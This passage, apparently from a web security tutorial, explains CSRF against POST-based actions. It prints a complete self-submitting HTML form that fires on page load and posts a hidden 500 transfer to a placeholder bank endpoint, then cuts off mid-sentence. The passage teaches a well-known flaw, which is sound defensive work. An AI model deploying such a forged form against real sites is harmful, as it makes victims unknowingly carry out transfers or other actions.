Exploiting POST-request based CSRF
As we discussed before, developers often make the mistake of moving to POST requests for critical actions, based on a website, by changing actions into forms while assuming that a form's POST request will not get forged. But in reality this can be very well forged—in this case the attacker uses a self-submitting form to accomplish the same.
A self-submitting form hosted by an attacker looks like the following:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post" action=" https://bank.example.com/transfer/money">
<input type='hidden' name='username' value='John'>
</input>
<input type='hidden' name='amount' value='500'>
</input>
</form>
</body>
</html>The preceding code is for the same...
